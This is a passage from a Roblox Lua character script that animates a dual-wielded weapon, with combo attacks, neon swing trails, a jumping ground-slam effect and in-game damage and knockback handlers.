  3252. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3253. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3254. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3255. end
  3256. for i=0,1,0.04 do
  3257. swait()
  3258. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3259. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3260. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3261. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3262. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3263. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3264. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3265. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3266. end
  3267. --dmgstop()
  3268. attack=false
  3269. Humanoid.WalkSpeed = 12
  3270. if TrailDeb == true then
  3271. TrailDeb = false
  3272. end
  3273. end
  3274.  
  3275. function attackone()
  3276. attack=true
  3277. if TrailDeb == false then
  3278. TrailDeb = true
  3279. end
  3280.  
  3281.  
  3282. coroutine.wrap(function()
  3283. local Old = Handle.CFrame.p
  3284. while wait()do
  3285. if not TrailDeb then break end
  3286. local New = Handle.CFrame.p
  3287. local Mag =(Old -New).magnitude
  3288. local Dis =(Old +New)/2
  3289. local Trail = Instance.new("Part",Character)
  3290. Trail.Material = "Neon"
  3291. Trail.Anchored = true
  3292. Trail.CanCollide = false
  3293. Trail.BrickColor = TorsoColor
  3294. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3295. Trail.TopSurface = 0
  3296. Trail.BottomSurface = 0
  3297. Trail.formFactor = "Custom"
  3298. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3299. local ms = Instance.new("BlockMesh",Trail)
  3300. ms.Scale = Vector3.new(1,1,1)
  3301. local TM = Instance.new("CylinderMesh",Trail)
  3302. TM.Scale = Vector3.new(1,1,1)
  3303. Old = New
  3304. coroutine.wrap(function()
  3305. for i = 1,0,-0.1 do
  3306. wait()
  3307. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3308. end
  3309. Trail:remove()
  3310. end)()
  3311. coroutine.wrap(function()
  3312. for i = 1,10 do
  3313. wait()
  3314. Trail.Transparency = Trail.Transparency +0.1
  3315. end end)()end end)()
  3316. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3317. for i=0,1,0.08 do
  3318. swait()
  3319. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3320. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3321. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3322. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3323. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3324. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3325. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3326. end
  3327. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3328. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3329. for i=0,1,0.1 do
  3330. swait()
  3331. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3332. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3333. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3334. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3335. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3336. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3337. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3338. end
  3339. --dmgstop()
  3340. attack=false
  3341. con1:disconnect()
  3342. if TrailDeb == true then
  3343. TrailDeb = false
  3344. end
  3345. end
  3346.  
  3347. function attacktwo()
  3348. attack=true
  3349. if TrailDeb == false then
  3350. TrailDeb = true
  3351. end
  3352.  
  3353.  
  3354. coroutine.wrap(function()
  3355. local Old = Handle2.CFrame.p
  3356. while wait()do
  3357. if not TrailDeb then break end
  3358. local New = Handle2.CFrame.p
  3359. local Mag =(Old -New).magnitude
  3360. local Dis =(Old +New)/2
  3361. local Trail = Instance.new("Part",Character)
  3362. Trail.Material = "Neon"
  3363. Trail.Anchored = true
  3364. Trail.CanCollide = false
  3365. Trail.BrickColor = TorsoColor
  3366. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3367. Trail.TopSurface = 0
  3368. Trail.BottomSurface = 0
  3369. Trail.formFactor = "Custom"
  3370. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3371. local ms = Instance.new("BlockMesh",Trail)
  3372. ms.Scale = Vector3.new(1,1,1)
  3373. local TM = Instance.new("CylinderMesh",Trail)
  3374. TM.Scale = Vector3.new(1,1,1)
  3375. Old = New
  3376. coroutine.wrap(function()
  3377. for i = 1,0,-0.1 do
  3378. wait()
  3379. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3380. end
  3381. Trail:remove()
  3382. end)()
  3383. coroutine.wrap(function()
  3384. for i = 1,10 do
  3385. wait()
  3386. Trail.Transparency = Trail.Transparency +0.1
  3387. end end)()end end)()
  3388. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3389. for i=0,1,0.08 do
  3390. swait()
  3391. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3392. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3393. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3394. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3395. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3396. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3397. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3398. end
  3399. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3400. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3401. for i=0,1,0.1 do
  3402. swait()
  3403. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3404. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3405. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3406. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3407. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3408. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3409. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3410. end
  3411. --dmgstop()
  3412. attack=false
  3413. con1:disconnect()
  3414. if TrailDeb == true then
  3415. TrailDeb = false
  3416. end
  3417. end
  3418.  
  3419. function attackthree()
  3420. attack=true
  3421. if TrailDeb == false then
  3422. TrailDeb = true
  3423. end
  3424.  
  3425.  
  3426. coroutine.wrap(function()
  3427. local Old = Handle.CFrame.p
  3428. while wait()do
  3429. if not TrailDeb then break end
  3430. local New = Handle.CFrame.p
  3431. local Mag =(Old -New).magnitude
  3432. local Dis =(Old +New)/2
  3433. local Trail = Instance.new("Part",Character)
  3434. Trail.Material = "Neon"
  3435. Trail.Anchored = true
  3436. Trail.CanCollide = false
  3437. Trail.BrickColor = TorsoColor
  3438. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3439. Trail.TopSurface = 0
  3440. Trail.BottomSurface = 0
  3441. Trail.formFactor = "Custom"
  3442. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3443. local ms = Instance.new("BlockMesh",Trail)
  3444. ms.Scale = Vector3.new(1,1,1)
  3445. local TM = Instance.new("CylinderMesh",Trail)
  3446. TM.Scale = Vector3.new(1,1,1)
  3447. Old = New
  3448. coroutine.wrap(function()
  3449. for i = 1,0,-0.1 do
  3450. wait()
  3451. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3452. end
  3453. Trail:remove()
  3454. end)()
  3455. coroutine.wrap(function()
  3456. for i = 1,10 do
  3457. wait()
  3458. Trail.Transparency = Trail.Transparency +0.1
  3459. end end)()end end)()
  3460. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3461. for i=0,1,0.08 do
  3462. swait()
  3463. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3464. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3465. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3466. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3467. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3468. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3469. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3470. end
  3471. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3472. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3473. for i=0,1,0.05 do
  3474. swait()
  3475. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3476. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3477. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3478. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3479. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3480. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3481. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3482. end
  3483. --dmgstop()
  3484. attack=false
  3485. con1:disconnect()
  3486. if TrailDeb == true then
  3487. TrailDeb = false
  3488. end
  3489. end
  3490.  
  3491. function attackfour()
  3492. attack=true
  3493. if TrailDeb == false then
  3494. TrailDeb = true
  3495. end
  3496.  
  3497.  
  3498. coroutine.wrap(function()
  3499. local Old = Handle2.CFrame.p
  3500. while wait()do
  3501. if not TrailDeb then break end
  3502. local New = Handle2.CFrame.p
  3503. local Mag =(Old -New).magnitude
  3504. local Dis =(Old +New)/2
  3505. local Trail = Instance.new("Part",Character)
  3506. Trail.Material = "Neon"
  3507. Trail.Anchored = true
  3508. Trail.CanCollide = false
  3509. Trail.BrickColor = TorsoColor
  3510. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3511. Trail.TopSurface = 0
  3512. Trail.BottomSurface = 0
  3513. Trail.formFactor = "Custom"
  3514. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3515. local ms = Instance.new("BlockMesh",Trail)
  3516. ms.Scale = Vector3.new(1,1,1)
  3517. local TM = Instance.new("CylinderMesh",Trail)
  3518. TM.Scale = Vector3.new(1,1,1)
  3519. Old = New
  3520. coroutine.wrap(function()
  3521. for i = 1,0,-0.1 do
  3522. wait()
  3523. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3524. end
  3525. Trail:remove()
  3526. end)()
  3527. coroutine.wrap(function()
  3528. for i = 1,10 do
  3529. wait()
  3530. Trail.Transparency = Trail.Transparency +0.1
  3531. end end)()end end)()
  3532. coroutine.wrap(function()
  3533. local Old = Handle.CFrame.p
  3534. while wait()do
  3535. if not TrailDeb then break end
  3536. local New = Handle.CFrame.p
  3537. local Mag =(Old -New).magnitude
  3538. local Dis =(Old +New)/2
  3539. local Trail = Instance.new("Part",Character)
  3540. Trail.Material = "Neon"
  3541. Trail.Anchored = true
  3542. Trail.CanCollide = false
  3543. Trail.BrickColor = TorsoColor
  3544. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3545. Trail.TopSurface = 0
  3546. Trail.BottomSurface = 0
  3547. Trail.formFactor = "Custom"
  3548. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3549. local ms = Instance.new("BlockMesh",Trail)
  3550. ms.Scale = Vector3.new(1,1,1)
  3551. local TM = Instance.new("CylinderMesh",Trail)
  3552. TM.Scale = Vector3.new(1,1,1)
  3553. Old = New
  3554. coroutine.wrap(function()
  3555. for i = 1,0,-0.1 do
  3556. wait()
  3557. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3558. end
  3559. Trail:remove()
  3560. end)()
  3561. coroutine.wrap(function()
  3562. for i = 1,10 do
  3563. wait()
  3564. Trail.Transparency = Trail.Transparency +0.1
  3565. end end)()end end)()
  3566. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3567. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3568. for i=0,1,0.08 do
  3569. swait()
  3570. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3571. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3572. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3573. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3574. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3575. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3576. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3577. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3578. end
  3579. if anim then
  3580. anim.Disabled=true
  3581. end
  3582. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3583. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3584. for i=0,1,0.04 do
  3585. swait()
  3586. Torso.Velocity=RootPart.CFrame.lookVector*50
  3587. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3588. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3589. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3590. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3591. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3592. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3593. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3594. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3595. end
  3596. --dmgstop()
  3597. attack=false
  3598. con1:disconnect()
  3599. con2:disconnect()
  3600. if anim then
  3601. anim.Disabled=false
  3602. end
  3603. if TrailDeb == true then
  3604. TrailDeb = false
  3605. end
  3606. end
  3607.  
  3608. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3609. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3610. prt.Anchored = true
  3611. prt.CFrame = cframe
  3612. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3613. coroutine.resume(coroutine.create(function()
  3614. for i = 0, 1, 0.05 do
  3615. wait()
  3616. prt.Transparency = i
  3617. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3618. end
  3619. prt.Parent = nil
  3620. end))
  3621. end
  3622.  
  3623. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3624. for _, c in pairs(workspace:children()) do
  3625. local hum = c:findFirstChild("Humanoid")
  3626. if hum ~= nil then
  3627. local head = c:findFirstChild("Torso")
  3628. if head ~= nil then
  3629. local targ = head.Position - Part.Position
  3630. local mag = targ.magnitude
  3631. if mag <= magni and c.Name ~= Player.Name then
  3632. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3633. end
  3634. end
  3635. end
  3636. end
  3637. end
  3638.  
  3639. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3640. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3641. prt.Anchored = true
  3642. prt.CFrame = cframe
  3643. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3644. game:GetService("Debris"):AddItem(prt, 2)
  3645. coroutine.resume(coroutine.create(function(Part, Mesh)
  3646. for i = 0, 1, delay do
  3647. swait()
  3648. Part.CFrame = Part.CFrame
  3649. Part.Transparency = i
  3650. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3651. end
  3652. Part.Parent = nil
  3653. end), prt, msh)
  3654. end
  3655.  
  3656. function MagicJump()
  3657. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3658. attack=true
  3659. mana=mana-25
  3660. --[[ Humanoid.WalkSpeed = 0
  3661. for i=0,1,0.01 do
  3662. swait()
  3663. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3664. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3665. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3666. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3667. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3668. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3669. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3670. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3671. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3672. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3673. end]]--
  3674. Humanoid.Jump = true
  3675. Torso.Velocity = vt(0, 150, 0)
  3676. Humanoid.WalkSpeed = 64
  3677. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3678. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3679. for i=0,1,0.05 do
  3680. swait()
  3681. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3682. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3683. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3684. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3685. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3686. RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3687. LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3688. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3689. Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3690. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3691. end
  3692. for i=0,1,0.02 do
  3693. swait()
  3694. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3695. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3696. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3697. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3698. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3699. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3700. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3701. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3702. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3703. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3704. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3705. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3706. end
  3707. Humanoid.WalkSpeed = 0
  3708. swait(8)
  3709. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3710. so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3711. local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3712. if hit~=nil then
  3713. swait(2)
  3714. local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Baby blue"),"Effect",vt())
  3715. ref.Anchored=true
  3716. ref.CFrame=cf(pos)
  3717. game:GetService("Debris"):AddItem(ref,3)
  3718. for i=1,10 do
  3719. local Col=BrickColor.new("Baby blue")
  3720. local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3721. groundpart.Anchored=true
  3722. groundpart.CanCollide=false
  3723. groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3724. local Col2=TorsoColor
  3725. local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3726. groundpart2.Anchored=true
  3727. groundpart2.CanCollide=false
  3728. groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3729. game:GetService("Debris"):AddItem(groundpart,5)
  3730. game:GetService("Debris"):AddItem(groundpart2,5)
  3731. end
  3732. BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
  3733. BlastEffect(BrickColor.new("Baby blue"),cf(pos),.9,.9,.9,1.2,1.2,1.2)
  3734. MagicCircle(BrickColor.new("Baby blue"),cf(pos),5,5,5,5,5,5,0.05)
  3735. MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05)
  3736. for i=0,1,0.06 do
  3737. swait()
  3738. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3)
  3739. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3740. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3)
  3741. RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3)
  3742. LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3)
  3743. RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3744. LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3)
  3745. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3746. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3747. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3748. end
  3749. end
  3750. swait(20)
  3751. Humanoid.WalkSpeed = 12
  3752. --dmgstop()
  3753. attack=false
  3754. end
  3755. end
  3756.  
  3757. function Spin()
  3758. attack=true
  3759. mana=mana-40
  3760. if TrailDeb == false then
  3761. TrailDeb = true
  3762. end
  3763.  
  3764. coroutine.wrap(function()
  3765. local Old = Handle2.CFrame.p
  3766. while wait()do
  3767. if not TrailDeb then break end
  3768. local New = Handle2.CFrame.p
  3769. local Mag =(Old -New).magnitude
  3770. local Dis =(Old +New)/2
  3771. local Trail = Instance.new("Part",Character)
  3772. Trail.Material = "Neon"
  3773. Trail.Anchored = true
  3774. Trail.CanCollide = false
  3775. Trail.BrickColor = TorsoColor
  3776. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3777. Trail.TopSurface = 0
  3778. Trail.BottomSurface = 0
  3779. Trail.formFactor = "Custom"
  3780. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3781. local ms = Instance.new("BlockMesh",Trail)
  3782. ms.Scale = Vector3.new(1,1,1)
  3783. local TM = Instance.new("CylinderMesh",Trail)
  3784. TM.Scale = Vector3.new(1,1,1)
  3785. Old = New
  3786. coroutine.wrap(function()
  3787. for i = 1,0,-0.1 do
  3788. wait()
  3789. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3790. end
  3791. Trail:remove()
  3792. end)()
